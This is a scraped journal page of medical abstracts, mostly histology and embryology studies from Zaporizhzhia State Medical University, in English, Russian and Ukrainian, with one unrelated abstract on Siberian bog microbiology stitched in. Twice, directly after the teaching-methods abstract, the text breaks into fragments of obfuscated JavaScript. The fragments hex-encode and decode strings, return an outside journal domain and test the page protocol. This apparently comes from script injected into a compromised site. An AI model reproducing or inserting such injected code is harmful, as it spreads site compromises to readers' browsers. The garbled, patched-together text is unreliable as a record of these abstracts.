МОДЕРНІЗАЦІЯ ОСВІТНЬОГО ПРОЦЕСУ НА КАФЕДРІ ГІСТОЛОГІЇ, ЦИТОЛОГІЇ ТА ЕМБРІОЛОГІЇ

In the context of the implementation of major educational programs under the Bologna Process gets a an interactive technology teaching significant place. The article, using the system analysis, questionnaires and interviews with students and teachers studied modern methods of teaching, which are being implemented in the educational process at the Department of Histology, Cytology and Embryology of ZSMU. The proposed interactive methods create a comfortable learning environment in which students feel their success, intellectual consistency, making productive learning process itself.// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "ojs.tdmu.edu.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;eВ умовах реалізації основних освітніх програм у рамках Болонського процесу важливе місце набуває інтерактивна технологія викладання. У статті за допомогою системного аналізу, анкетування та опитування студентів і викладачів досліджено сучасні методики викладання дисципліни, які впроваджуються в освітній процес на кафедрі гістології, цитології та ембріології ЗДМУ. Запропоновані інтерактивні методи створюють комфортні умови навчання, за яких студент відчуває свою успішність, інтелектуальну спроможність, що робить більш продуктивним сам процес навчання. // o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "ojs.tdmu.edu.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;

Microbiological parameters and peat stratigraphy of two types of bogs in the northern part of the Sym–Dubches interfluve (Krasnoyarsk Krai)

The phytocenotic and microbiological features of two types of bogs (oligotrophic and eutrophic) in the northern part of the Sym–Dubches interfluve (the middle taiga subzone in the Yenisei region of Siberia) have been studied. The descriptions of the plant cover of bogs and peat stratigraphy and age are given. It has been revealed that peat of the bogs studied is characterized by a low or medium ash content; a small amount of N, P, and K; and an acid and slightly acid reaction, which results in their moderate microbial and fermentation activity and favors accumulation and conservation of plant remains and microbial biomass. It has been proved that the microbocenoses of the eutrophic and oligotrophic bogs are characterized by a stable ecophysiological status of the natural norm

Вплив дихальних нейроендокриноцитів на гомеостаз легень

 Pulmonary neuroendocrine cells (PNECs) – a unique cell population identified at all levels in the epithelium of the respiratory tract, histophysiology of which is still poorly understood. Given its important role as one of the main regulators of the respiration processes and homeostasis, its studying is one of the urgent tasks of medicine.According to the International Terms for Human Cytology and Histology published by the Federative International Committee on Anatomical Terminology (FICAT) under the writing of Wolters Kluwer and Lippincott Williams &amp; Wilkins (2008), these cells are called respiratory neuroendocrine cells (in the trachea) or respiratory endocrine cells (in the bronchial tree). However, these cells have documented in modern international scientific literature as pulmonary neuroendocrine cells.The aim of this work is to analyze the modern scientific literature data on the effect of PNECs on the lung homeostasis in normal and pathological conditions.PNECs and their clusters – neuroepithelial bodies act as factors that regulate lung growth and maturation in embryogenesis via secretion of serotonin and gastrin-releasing hormone. In postnatal ontogenesis, PNEC secretion products – amines and neuropeptides, are characterized by participation in various physiological and pathological processes in the lung. PNECs normally maintain neurohumoral control over vascular and airway smooth muscle tone, act as peripheral chemoreceptors, and also are responsible for regulation of cell proliferation, differentiation, and mucus production from the respiratory epithelium. In case of respiratory tract damage, PNECs are capable of transdifferentiation by activating the Notch signaling pathway and renewal of other cellular types of respiratory epithelium. PNECs have a neuroimmunomodulating effect by means of neuropeptides and neurotransmitters secretion, which maintain and enhance the airways inflammatory response to an allergen. After the allergen exposition, PNECs activate type 2 innate lymphoid cells (ILC2) which being modulated by the neuropeptide CGRP produce type 2 cytokines IL-5 and IL-13, thereby contributing to an allergic response in the airways. At the same time, secreted by the PNECs neurotransmitter γ-aminobutyric acid (GABA) interacts with IL-13 to activate goblet cell mucus secretion. ILC2 induce eosinophilic inflammation and airways hypersensitivity. Recent studies have shown that ILC2 cells also stimulate Th2-associated immune response. Thus, CGRP and GABA are the key products of PNEC, which stimulate the Th2-associated immune response in the lung.Conclusions. Pulmonary neuroendocrine cells together with immune cells form a neuroimmunological module for the reception and response to environmental chemoattractants. The data on the role of pulmonary neuroendocrine cells in the airways allergic inflammation are still controversial in the literature, which necessitates further study of this issue. Дыхательные нейроэндокриноциты (ДН) – уникальная клеточная популяция, выявленная на всех уровнях в эпителии дыхательных путей (ДП), гистофизиология которой до сих пор плохо изучена. Учитывая ее важную роль как одного из основных регуляторов процессов дыхания и гомеостаза организма, ее изучение является одной из актуальных задач медицины.Согласно Международной номенклатуре по цитологии и гистологии человека, разработанной Федеративным международным комитетом по анатомической терминологии (FICAT) авторами Wolters Kluwer и Lippincott Williams &amp; Wilkins (2008), эти клетки называются дыхательными нейроэндокринными клетками (в трахее) или дыхательными эндокринными клетками (в бронхиальном дереве). Однако эти клетки описаны в современной международной научной литературе как легочные нейроэндокринные клетки.Цель работы – анализ данных современной научной литературы о влиянии дыхательных эндокриноцитов на гомеостаз легких в норме и патологии.ДН и их кластеры – нейроэпителиальные тела, действуют как факторы регуляции роста и созревания легких в эмбриогенезе с помощью выделяемых ими серотонина и гастрин-рилизинг гормона. В постнатальном онтогенезе продукты секреции ДН – амины и нейропептиды характеризуются участием в разнообразных физиологических и патологических процессах в легких. ДН в норме осуществляют нейрогуморальный контроль тонуса гладких миоцитов сосудов и воздухоносных путей, действуют как периферические хеморецепторы, а также принимают участие в клеточной пролиферации, дифференцировке, регуляции продукции слизи респираторным эпителием. При повреждении ДП способны к трансдифференцировке с помощью сигнального пути Notch и пополняют популяции других клеточных типов дыхательного эпителия. ДН оказывают нейроиммуномодулирующее действие путем секреции нейропептидов и нейротрансмиттеров, которые поддерживают и усиливают воспалительную реакцию ДП на аллерген. При воздействии аллергена ДН активируют врожденные лимфоидные клетки 2 типа с помощью нейропептида, связанного с геном кальцитонина CGRP, которые продуцируют цитокины 2 типа ИЛ-5 и ИЛ-13, тем самым способствуя развитию аллергической воспалительной реакции ДП. Одновременно выделяемый ДН нейротрансмиттер – γ-аминомасляная кислота ГАМК – взаимодействует с ИЛ-13 для активации секреции слизи бокаловидными клетками. Врожденные лимфоидные клетки 2 типа провоцируют эозинофильное воспаление и гиперчувствительность ДП. Недавние исследования показали, что врожденные лимфоидные клетки 2 типа также стимулируют развитие Th2-иммунного ответа. Таким образом, CGRP и ГАМК являются ключевыми продуктами секреции ДН, стимулирующими Th2-иммунный ответ в легких.Выводы. ДН вместе с клетками иммунной системы образуют нейроиммунологический модуль для рецепции и реагирования на раздражители окружающей среды. Данные о роли ДН в развитии аллергического воспаления ДП в литературе пока неоднозначны, что обусловливает необходимость дальнейшего изучения данной проблемы.  Дихальні нейроендокриноцити (ДН) – унікальна клітинна популяція, що виявлена на всіх рівнях в епітелії дихальних шляхів (ДШ), гістофізіологія якої дотепер недостатньо вивчена. З огляду на її важливу роль як одного з основних регуляторів процесів дихання та гомеостазу організму, її вивчення є одним з актуальних завдань медицини.Відповідно до Міжнародної номенклатури з цитології та гістології людини, яка розроблена Федеративним міжнародним комітетом з анатомічної термінології (FICAT) авторами Wolters Kluwer і Lippincott Williams &amp; Wilkins (2008), ці клітини називаються дихальними нейроендокринними клітинами (у трахеї) або дихальними ендокринними клітинами (у бронхіальному дереві). Однак ці клітини описані в сучасній міжнародній науковій літературі як легеневі нейроендокринні клітини.Мета роботи – аналіз даних сучасної наукової літератури про вплив дихальних ендокриноцитів на гомеостаз легень у нормі та патології.ДН та їхні кластери – нейроепітеліальні тіла, діють як фактори регуляції росту й дозрівання легень в ембріогенезі з допомогою секреції серотоніну і гастрин-рилізинг гормона. У постнатальному онтогенезі продукти секреції ДН – аміни та нейропептиди характеризуються участю в різноманітних фізіологічних і патологічних процесах у легенях. ДН у нормі здійснюють нейрогуморальний контроль тонусу гладких міоцитів судин і повітроносних шляхів, діють як периферичні хеморецептори, а також беруть участь у регуляції клітинної проліферації, диференціюванні, регуляції продукції слизу дихальним епітелієм. При пошкодженні ДШ здатні до трансдиференціювання за допомогою сигнального шляху Notch і поповнюють популяції інших клітинних типів дихального епітелію. ДН здійснюють нейроімуномодулювальний вплив шляхом секреції нейропептидів і нейротрансмітерів, які посилюють запальну реакцію ДШ на алерген. Після дії алергену ДН активують уроджені лімфоїдні клітини 2 типу за допомогою нейропептида, асоційованого з геном кальцитоніну CGRP, які продукують цитокіни 2 типу ІЛ-5 і ІЛ-13, у такий спосіб спричиняючи розвиток алергічної реакції ДШ. Водночас ДЕ виділяють нейротрансмітер – γ-аміномасляну кислоту ГАМК, яка взаємодіє з ІЛ-13 для активації секреції слизу келихоподібними клітинами. Вроджені лімфоїдні клітини 2 типу провокують еозинофільне запалення та гіперчутливість ДШ. Недавні дослідження показали, що вроджені лімфоїдні клітини 2 типу також стимулюють розвиток Th2-імунної відповіді. Отже, CGRP і ГАМК є ключовими продуктами секреції ДН, що стимулюють Th2-імунну відповідь у легенях.Висновки. ДН разом із клітинами імунної системи утворюють нейроімунологічний модуль для рецепції та реагування на подразники довкілля. Дані про роль ДН у розвитку алергічного запалення ДШ у фаховій літературі дотепер неоднозначні, що зумовлює необхідність дальшого вивчення проблем

Modern educational process: distance learning course.

Background. In the conditions of implementation of basic educational programs, an important place is acquired by the system of distance education. In the article with the help of system analysis the main principles of creating distance courses that are introduced into the educational process at the Department of Histology, Cytology and Embryology of ZSMU are investigated. Results. Proposed methods of developing a distance course are designed to create comfortable learning conditions in which the student will feel successful, intellectually sound, which makes the learning process more productive. The activities of the student must planned during the distance learning process using information materials of different authors. If in the first case attention is paid to the quality of the text, the qualitative educational process does not always guarantee, in the second case the quality of the educational process is important, which requires organizational and methodical activities, as well as high quality information materials that can be developed by different authors. Conclusion. To maintain a high level of clinical thinking and create conditions for independent learning activities, distance learning provides internal motivation for students to learn

Особливості васкулогенезу передміхурової залози людини в пренатальному періоді онтогенезу.

Background. As it is known today, the structural basis of the stroma of the prostate gland is formed by mesenchymal derivatives: connective tissue, microvasculature vessels, smooth muscle tissue. Scientists have identified patterns of formation of blood vessels in human fetuses, which are manifested by the unevenness of vasculogenesis and histogenesis and their unequal intensity in different regions of the prostate gland. In the peripheral regions of the prostate, blood vessels are formed earlier than in the central ones, due to which the prostatic units of the main glands differentiate more rapidly than the structures of the periurethral and transient zones of the prostate gland. An objective of the research: to identify of the immunohistochemical features of the formation of the regional bloodstream of the human prostate gland in the prenatal period of ontogenesis. Methods. 60 prostate glands of human aged of 12 to 36 weeks gestation, using immunohistochemical method by determining the CD 34 expression (1:50) (DAKO). Results. The analysis made it possible to establish that the predominant component of the stroma of the prostate in prenatal ontogenesis is a loose fibrous connective tissue that performs important morphogenetic functions. In the layers of connective tissue are numerous vessels. Capillaries are located more on the periphery of the organ. An intensive growth is observed, then a capillary plexus is formed. When reacting with the cytospecific marker of the endothelium CD-34 in the cytoplasm of the endothelial cells of the vascular prostate gland of a person aged 24-26 weeks, positive visualization of this marker is determined. Changes in the proliferative processes of the prostate were noted: the formation of the microvascular bed and glandular departments, the maturation of connective tissue. During this period, capillaries continue by separating from the previous microvessels. In particular, the growth of new capillaries parallel to the increase in the number of lymphoid formations. Obviously, microvascular neoplasms are more inherent in lymphoid structures, start to form and undergo differentiation. Growth buds arise on the basal surface of microvessels, mainly in those areas where pericytes and adventitious cells are located, in the same place the basal membrane is absent. Thus, the analysis of the features of the structure, morphological and histochemical differentiation of the vascular component of the prostate gland shows that vasculogenesis of the prostate is subject to a number of regularities. Conclusion. The formation and subsequent growth of the primary vascular modules of the prostate occurs at the interface of the connective tissue and prostatic epithelial cells. Integration connections on the territory of the vascular module are established with the help of connecting and main capillaries. The true capillary network develops on the basis of connecting and main capillaries. Pre- and postcapillaries arise first from the segments of the connecting and main capillaries, and then from the true capillaries. Zaporizhzhya state medical university.Актуальность. Как известно на сегодняшний день, структурную основу стромы предстательной железы образуют производные мезенхимы: соединительная ткань, сосуды микроциркуляторного русла, гладкая мышечная ткань. Учеными выявлены закономерности формирования кровеносных сосудов у плодов человека, которые проявляются неравномерностью васкулогенез и гистогенеза и их неодинаковой интенсивностью в разных регионах предстательной железы. В периферических регионах простаты кровеносные сосуды формируются раньше, чем в центральных, благодаря чему простатической единицы главных желез дифференцируются быстрее, чем структуры периуретральнои и транзиторной зон предстательной железы. Цель. Выявить иммуногистохимические особенности формирования регионального кровеносного русла предстательной железы человека в пренатальном периоде онтогенеза. Метод. Морфофункциональные особенности стенки кровеносных сосудов 60 предстательных желез человека в возрасте от 12 недель до 36 недель гестации. Результаты. Установлено с помощью современного иммуногистохимического исследования закономерности морфологического развития и функциональной активности васкулярного компонента предстательной железы в пренатальном онтогенезе. Выявлено, что преобладающим компонентом стромы простаты в пренатальном онтогенезе является рыхлая волокнистая соединительная ткань, выполняющая важные морфогенетические функции. При реакции с цитоспецифичним маркером эндотелия CD-34 в цитоплазме эндотелиальных клеток сосудов предстательной железы человека в возрасте 24-36 недель определяется положительная визуализация данного маркера. Заключение. Формирование и последующий рост первичных сосудистых модулей простаты происходит на границе контакта соединительной ткани и простатических эпителиальных почек. Интеграционные связи на территории сосудистого модуля устанавливаются с помощью соединительных и магистральных капилляров. Истинная капиллярная сеть развивается на базе соединительных и магистральных капилляров. Пре- и посткапилляры возникают сначала из сегментов соединительных и магистральных капилляров, а затем из истинных капилляров.Актуальність. Як відомо на сьогоднішній день, структурну основу строми передміхурової залози утворюють похідні мезенхіми: сполучна тканина, судини мікроциркуляторного русла, гладенька м'язова тканина. Вченими виявлені закономірності формування кровоносних судин у плодів людини, які проявляються нерівномірністю васкулогенеза і гістогенеза та їх неоднаковою інтенсивністю в різних регіонах передміхурової залози. В периферичних регіонах простати кровоносні судини формуються раніше, ніж в центральних, завдяки чому простатичні одиниці головних залоз диференціюються швидше, ніж структури периуретральної та транзиторної зон передміхурової залози. Мета. Виявити імуногістохімічні особливості формування регіонального кровоносного русла передміхурової залози людини в пренатальному періоді онтогенезу. Методи. Морфофункціональні особливості стінки кровоносних судин 60 передміхурових залоз людини у віці від 12 тижнів до 36 тижнів гестації. Результати. Встановлено за допомогою сучасного імуногістохімічного дослідження закономірності морфологічного розвитку та функціональної активності васкулярного компоненту передміхурової залози в пренатальному онтогенезі. Виявлено, що переважаючим компонентом строми простати в пренатальному онтогенезі є пухка волокниста сполучна тканина, що виконує важливі морфогенетичні функції. При реакції з цитоспецифічним маркером ендотелію CD-34 в цитоплазмі ендотеліальних клітин судин передміхурової залози людини у віці 24-36 тижнів визначається позитивна візуалізація даного маркера. Підсумок. Формування і наступний ріст первинних судинних модулів простати відбувається на межі контакту сполучної тканини і простатичних епітеліальних бруньок. Інтеграційні зв'язки на території судинного модуля встановлюються за допомогою з'єднувальних і магістральних капілярів. Істинна капілярна мережа розвивається на базі з'єднувальних і магістральних капілярів. Пре- і посткапіляри виникають спочатку із сегментів з'єднувальних і магістральних капілярів, а потім з істинних капілярів